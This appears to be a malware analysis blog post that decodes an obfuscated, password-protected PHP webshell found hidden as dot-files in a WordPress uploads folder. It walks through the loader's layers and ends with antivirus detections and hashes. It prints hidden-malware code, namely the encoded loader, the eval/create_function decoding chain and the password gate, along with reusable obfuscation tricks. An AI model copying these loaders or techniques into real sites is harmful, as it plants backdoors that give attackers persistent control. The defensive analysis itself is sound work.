The Victim Host

A Linux WordPress site was found to be hosting a password protected encoded webshell. The URL had this format.

hxxps://www.victim-domain[.]com/wp-content/uploads/2011/01/.bak.php

This documents how the files were decoded to reveal the final webshell.

.bak.php

The full contents of the initial PHP .bak.php was:

<?php
include(".htaccess_backup");

So the actual code was in another file with a leading dot and a name that you might casually overlook.

.htaccess_backup

The .htaccess_backup file is actually PHP with encoded strings. Basically it looks like this:

<?php 
error_reporting(0);
$_S="bVHRbuIwEHyv1H...37hG7w8=";$_A=strrev("esab")."64_".strrev("edoced");$_X=$_A('ZXZhbChnem...kX1MpKSk7');$trd=strrev("taerc")."e_f".strrev("noitcnu");$ctel=$trd('$_S',$_X);$ctel($_S);
$password = "f02c70756258cba6cfb4d391f5c1100b"; 
$xvp="NZdwobnBjwobV...lHJwobyA";
$jna="g5VmFPdU1URWw...CiAKCg==";
$nem = str_replace("m","","smtrm_mrempmlamce");
$ghz="IApkZWZpbmUow...01QdG";
$jj="sIwobAoJCSdwob...TVvVE";
$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();
?>

The full length of the file is 126,379 bytes, so the encoded strings have been shortened for simplified reading.

Decoding

Step 1

In order to figure out what’s happening, copy the original file to a new file and then reduce it down to the initial few lines along with adding line endings.

<?php 
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>

Next start adding echo statements so we can track the variables as they evolve. First up is what is $_A ? In order to find out, add the echo after it followed by an exit like this.

<?php 
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
echo "_A=$_A\n";
exit();

$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>

Now run the file with php like this.

$ php dot-htaccess_backup1.php
_A=base64_decode

Ah hah, $_A is just base64_decode. Not surprising since base64 is so frequently used to hide strings.

Moving onto the next line, we want to know what $_X is. So do the same method as before while shifting exit() down appropriately.

<?php 
error_reporting(0);
$_S="bVHRbuIwEHyv1H9YrFyT6KpgIFBoE15OVJxaCdSiewGEnHhDrCNO5JjSCvXfzw5qRe/ubbw7OzO7duqK1fWhVBxiIOmQhTTk2fCm1xtiMqCc0hFPeEZTTgcdTu4uL5wCLTXXurptt0mwRY3yxSPTxWK+mc6eF8QPnM3z5OnX5Gnpzqdzgx/v3bUdTcvyt0DJThLVKyqrKDJP1DVqz9nMzfzSbTK5a98/mhlmqMg31YH/0z/NWkYMzuci/tFonZy8M8drcNg1aFGg538Pe11K/bv3y4scGUflkccyZVqU8hZIYFa02u+NfAuLSr95Z/pwdQWtj8Q/ZrOHn5PlmdHah1LB/1vQ+pLULlgpITWQSLNkh5CYMqqYwkFwnccdSr9BjmKb6waPI83hhe3EVsYrUgjOd7gi4yhFqVGNo6xUBbDULmL6KwIF6rzkBtvLWaaQ1V6DfqvQFD+CWCJ73aHcGs8V6XVNweY1uAn712C9Twqhx1Hb2o3tF3Jz6+ac2V427p9fVvlHhXqvJBS877ls0OmmbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";
$_A=strrev("esab")."64_".strrev("edoced");
echo "_A=$_A\n";

$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');
echo "_X=$_X\n";
exit();

$trd=strrev("taerc")."e_f".strrev("noitcnu");
$ctel=$trd('$_S',$_X);
$ctel($_S);
?>

As before, run it through php.

$ php dot-htaccess_backup1.php 
_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));

So what we learned is that the string 'ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7' is eval(gzinflate(base64_decode($_S)));.

$_X is simply equal to that code. It has not actually run the code yet.

Moving on, do the same echo just after the $trd assignment like this.

$trd=strrev("taerc")."e_f".strrev("noitcnu");
echo "trd=$trd\n";
exit();

Running it results in the following.

$ php dot-htaccess_backup1.php
_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));
trd=create_function

Our next line is interesting.

$ctel=$trd('$_S',$_X);

If we substitute the values, what we get is this.

$ctel=create_function('$_S',eval(gzinflate(base64_decode($_S))));

What this does is create an anonymous function whose code is derived from $_S. We can see that $_S is first decoded from base64, then gzinflated, then executed with the output of that execution becoming the code for the function. The first argument for create_function() doesn’t actually do anything in this case. It really could have been anything.

So lets find out what the $_S actually is.

Edit our test PHP some more. After the assignment of $_S place the gzinflate and base64_decode and echo it out.

$_S="bVHRbuIwEHyv1H9Yr...mbmBx8076LBy5gaEF7giHWegagGmf37hG7w8=";

echo "_S=".gzinflate(base64_decode($_S))."\n\n";

Running it with php results in this.

$ php dot-htaccess_backup1.php
_S=$spassword = "c8a404df87338eb60d009dbdf0cd061d";
$me = "http://".getenv("HTTP_HOST").$_SERVER['PHP_SELF'];
$cookiename = "pxer";
if(isset($_POST['spass'])){
$a = ed_pwd($_POST['spass']);
if($a == $spassword){setcookie($cookiename, $a, time()+43200);}
header("Location: ".$me);
}
if(!empty($spassword) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $spassword)){
print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"spass\"><input type=submit></form>";
die();}
function ed_pwd($p){return md5('a612c'.md5(md5('b5a49'.$p).'9e8f4').'ec5d7');}

_A=base64_decode
_X=eval(gzinflate(base64_decode($_S)));
trd=create_function

Sure enough, there was PHP code inside of $_S. Here’s the code cleaned up with comments added.

// hashed password
$spassword = "c8a404df87338eb60d009dbdf0cd061d";

//
// $me will be the full URL of the script that called us.
// In our case it'll be:
//
// hxxps://www.victim-domain.com/wp-content/uploads/2011/01/.bak.php
//
$me = "http://".getenv("HTTP_HOST").$_SERVER['PHP_SELF'];

$cookiename = "pxer";

//
// was 'spass' passed?
//
if (isset($_POST['spass'])) {
    //
    // hash the provided password
    //
    $a = ed_pwd($_POST['spass']);

    //
    // does the hash of the provided password match?
    //
    if ($a == $spassword) {
        //
        // set the cookie 'pxer' equal to the hashed password for 12 hours
        //
        setcookie($cookiename, $a, time()+43200);
    }
    header("Location: ".$me);
}

if (!empty($spassword) && !isset($_COOKIE[$cookiename])
    or ($_COOKIE[$cookiename] != $spassword)) {
    //
    // if the cookie is not set or doesn't equal the correct password hash,
    // then prompt the user to provide a password
    //
    print "<table border=0 width=100% height=100%><td valign=\"middle\"><center><form action=\"\" method=\"POST\"><input type=\"password\" maxlength=\"32\" name=\"spass\"><input type=submit></form>";
    die();
}

function ed_pwd($p) {
    //
    // use md5() multiple times to hash the provided password while
    // also provide a different salt for each hashing.
    //
    return md5('a612c'.md5(md5('b5a49'.$p).'9e8f4').'ec5d7');
}

Basically this ensures that the user provides a password before they get any further into the backdoor. Nothing further in the backdoor will decoded or run until that password is provided.

Either remove these intial lines or comment out the $ctel() call in order to get past the password requirement.

Step 2

Looking back at .htaccess_backup we’ve figured out the initial lines up through the $ctel forces a password authention.

After that comes the following. Again the long strings have been shortened for reading.

$password = "f02c70756258cba6cfb4d391f5c1100b"; 
$xvp="NZdwobnBjwobV...lHJwobyA";
$jna="g5VmFPdU1URWw...CiAKCg==";
$nem = str_replace("m","","smtrm_mrempmlamce");
$ghz="IApkZWZpbmUow...01QdG";
$jj="sIwobAoJCSdwob...TVvVE";
$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();

Copy the original .htaccess_backup file to a new testing file. I used dot-htaccess_backup2.php. Remove all the initial lines that we’ve already determined does a password check.

The first few lines just set variables. The action starts with this.

$nem = str_replace("m","","smtrm_mrempmlamce");

Use the same method as before, after this assigment add an echo and exit like this.

$nem = str_replace("m","","smtrm_mrempmlamce");
echo "nem=$nem\n";
exit();

Then run the php.

$ php dot-htaccess_backup2.php 
nem=str_replace

So they’re obfuscating the function str_replace().

Moving on there are more assignments of very long strings followed by some code. Remove the exit() from earlier then do the same echo and exit here as such.

$iux = $nem("w", "", "bwawswew6w4w_wdwewcwodwe");
echo "iux=$iux\n";
$gg = $nem("k","","kcrkekaktkek_kfkuknkcktiokn");
echo "gg=$gg\n";
exit();

Running php again renders this.

$ php dot-htaccess_backup2.php
nem=str_replace
iux=base64_decode
gg=create_function

Yet more obfuscating function names.

The next line uses those obfuscated names.

$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();

Substituting the variables results in this.

$ulh = create_function('', base64_decode(str_replace("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();

Breaking it down a bit more, we’ll start from the inside of this onion.

str_replace("wob", "", $ghz.$xvp.$jj.$jna)

What’s happening is they’re taking all those crazy long lines of variables and appending them together, then removing all instances of the string wob.

Next they take that and decode it with base64. It does make me wonder what happens if wob was in the original base64 or if that’s a valid string in base64.

The output of all that becomes code used to create a function.

Let’s get that code.

Edit our test php. Be sure to comment or remove the various debugging echos. Add an echo of just the inner portion like this.

echo $iux($nem("wob", "", $ghz.$xvp.$jj.$jna));
exit();
$ulh = $gg('', $iux($nem("wob", "", $ghz.$xvp.$jj.$jna))); $ulh();

Running the php outputs the PHP hidden inside all those lines.

$ php dot-htaccess_backup2.php
 
define('VERSION','FileMana');

/*Starting*/ $register_key = array /*Registration code*/ 
( 
	array
	(
        'CQ9jnUNtDTIlpz9lK3WypT9lqTyhMluSK0IFHx9FXGgNnJ5cK3AyqPtaMTympTkurI9ypaWipaZaYPqCMzLaXGgNnJ5cK3AyqPta' , 
        'oJS4K2I4MJA1qTyioy90nJ1yWljkZQNjZPx7nTIuMTIlXPWwo250MJ50YIE5pTH6VUEyrUDinUEgoQftL2uupaAyqQ11qTLgBPVc' , 
        'B2M1ozA0nJ9hVUA0pzEcpvtxp3ElXFO7VUWyqUIlovOmqUWspzIjoTSwMFuupaWurFtaKSjaYPpiYlpfWlHlAlpfWlHlZvpcYTSl' , 
...
        'MT51oF4aKFNgVBnJu+F7gyfaYvEzoaIgYvqqVP0t5oTr5bPaJlphWTAboJ9xYvqqCP9xnKL+CP9zo3WgCvp7LaWyLJf7sG8+CTEc' , 
        'qvOwoTSmpm0vMz9iqTSaVw48C3ObpPOyL2uiVUObpS91ozSgMFtcYvp8LaV+Wl4xK1ASHyMSHyfaH0IFIxIFK1ACEyEKDIWSW107' , 
        'Cm48Y2Ecqw48Y2Ecqw48Y2Ecqw48Y2WiMUx+CP9bqT1fCwj/pTujVUIhp2I0XPEupaWurFx7Cm4='
    )
        
) ; 

/**
 * Language and charset conversion settings
 */
$check_copyright = create_function /*Copyright*/ 
( 
        
    "/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/" , 
    "/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" . 
    "\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" . 
    "\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" . 
    "\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" . 
    "\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/" 
        
) ; 

/**
 * Version settings
 */
$global_version = array_walk /*Version*/ 
( 
        
        /*This is a necessary key*/ $register_key , 
        
        /*Verification on copyright*/ $check_copyright 
        
) ; 

The above output has a shortened long string for readability.

Let’s send that to another test file.

$ php dot-htaccess_backup2.php > dot-htaccess_backup3.php

We’ll skip $register_key for now and look at $check_copyright. There’s some encoded strings we need to decode.

Create a test file named check_copyright.php and echo those strings.

<?php
echo("/*\x64\x65\x28\x73\x74\x72*/\x24\x63\x6f\x64\x65/*\x63\x6f\x64\x65\x29*/");
echo("\n");
echo("/*\x36\x34\x5f\x64\x65*/\x65\x76\x61\x6c\x20\x28\x20\x27\x20\x3f\x3e\x27" . 
	"\x20\x2e\x20\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x20\x28" . 
	"\x20\x73\x74\x72\x5f\x72\x6f\x74\x31\x33\x20\x28\x20\x6a\x6f\x69\x6e\x20" . 
	"\x28\x20\x27\x27\x20\x2c\x20\x24\x63\x6f\x64\x65\x20\x29\x20\x29\x20\x29" . 
	"\x20\x2e\x20\x27\x3c\x3f\x70\x68\x70\x20\x27\x20\x29\x3b/*\x63\x6f\x64*/");
echo("\n");

Running that results in the following.

$ php check_copyright.php

Looks like more PHP but with comments used to make it harder to read. Removing those gets this.

$code
eval ( ' ?>' . base64_decode ( str_rot13 ( join ( '' , $code ) ) ) . '<?php ' );

Now what we can see is that it creates a function that accepts one argument. It takes that argument, joins it, performs a rotate13, then decodes the base64.

$check_copyright = create_function ( $code,
    eval ( ' ?>' . base64_decode ( str_rot13 ( join ( '' , $code ) ) ) . '<?php ' );
);

Cleaning up the next section results in one line.

$global_version = array_walk($register_key, $check_copyright); 

What this does is interate over the array $register_key by feeding each element to the new $check_copyright function. $register_key is an array with one element which is a long array of strings.

So let’s decode $register_key.

Start by adding this to the top of the test file.

<?php

Then before the array_walk() insert the following.

echo(base64_decode ( str_rot13 ( join ( '' , $register_key[0] ) ) ));
exit();

Run the script.

$ php dot-htaccess_backup3.php > dot-htaccess_backup4.php

Voila! We finally have the actual webshell.

<?php @error_reporting(E_ERROR);@ini_set('display_errors','Off');@ini_set('max_execution_time',10000);header("content-Type: text/html; charset
=utf-8");function strdir($str) { return str_replace(array('\\','//','%27','%22'),array('/','/','\'','"'),chop($str)); }function chkgpc($array)
 { foreach($array as $key => $var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; }$myfile = $_SERVER['
SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);...

Webshell Logged In

Webshell

Detections

Using VirustTotal no engine detected the original encoded .htaccess_backup.

Once decoded, 7 engines detected it.

Avast PHP:BackDoor-EP [Trj]

AVG PHP:BackDoor-EP [Trj]

DrWeb PHP.Shell.703

Microsoft Backdoor:PHP/Yorcirekrikseng.E

Qihoo-360 Php.webshell.eval.12

Sangfor Engine Zero Malware

Tencent Html.Win32.Script.504515

IOCs

  • a14627616c95ce71b3e3352946e36b7896f5dbfa2827632bf91b59d775b75778 .htaccess_backup
  • e0d9778fafd2c654ffe4bc24bc83604363dbadd4109f38c108a703e55a83fe53 dot-htaccess_backup4.php

Sample

The sample is contained in this encrypted ZIP with the password infected.